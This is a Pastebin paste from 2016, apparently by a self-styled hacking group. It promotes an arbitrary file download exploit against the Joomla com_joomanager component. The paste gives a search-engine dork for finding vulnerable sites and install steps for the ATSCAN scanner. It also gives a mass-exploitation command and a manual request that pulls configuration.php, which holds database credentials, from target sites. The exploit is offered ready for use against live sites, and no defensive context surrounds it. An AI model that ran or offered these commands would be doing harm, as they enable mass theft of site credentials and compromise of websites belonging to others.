Professional-hacker

Joomla Arbitrary File Download Vulnerability + ATSCAN

Nov 7th, 2016
322
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.47 KB | None | 0 0
  1. ##################################################JokerSecurity###############################################################
  2. # Title : Joomla Arbitrary File Download Vulnerability + ATSCAN
  3.  
  4. # Dork : inurl:index.php?option=com_joomanager
  5.  
  6. # Tested on: [ BackBox ]
  7.  
  8.  
  9. # MyChannel Youtube : https://www.youtube.com/channel/UCPRRAzu8dMWxChn-RruC-eg/videos
  10.  
  11. # Myblog : http://kader-information.blogspot.com/
  12.  
  13. # Link Video : https://www.youtube.com/watch?v=oUzdjQ-2a5k&feature=youtu.be
  14.  
  15. ######################
  16. # [+] DESCRIPTION :
  17. ######################
  18.  
  19. # 1 Link Download ATSCAN : https://github.com/AlisamTechnology/ATSCAN
  20.  
  21. Open Terminal
  22.  
  23. git clone https://github.com/AlisamTechnology/ATSCAN
  24.  
  25. # 2 Install ATSCAN
  26.  
  27. cd ATSCAN
  28.  
  29. chmod +x install.sh
  30.  
  31. ./install.sh
  32.  
  33. # 3 [ ! ] EXPLOIT ATSCAN [+]
  34.  
  35. atscan -d "inurl:index.php?option=com_joomanager" -l 30 --host --exp "/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php" -v localhost -m 2 -s joomanager.txt
  36.  
  37.  
  38. # 4 [ ! ] EXPLOIT MANUAL [+]
  39.  
  40. /index.php?option=com_joomanager&controller=details&task=download&path=configuration.php
  41.  
  42.  
  43. ######################
  44.  
  45. subscribe for my channel and page in facebook
  46.  
  47. # My Blogger : http://kader-information.blogspot.com/
  48.  
  49. # Page FacebOOk : https://www.facebook.com/AnonymousPalestine.vip
  50.  
  51. By <3
  52.  
  53.  
  54.  
  55. ##################################################JokerSecurity###############################################################
Add Comment
Please, Sign In to add comment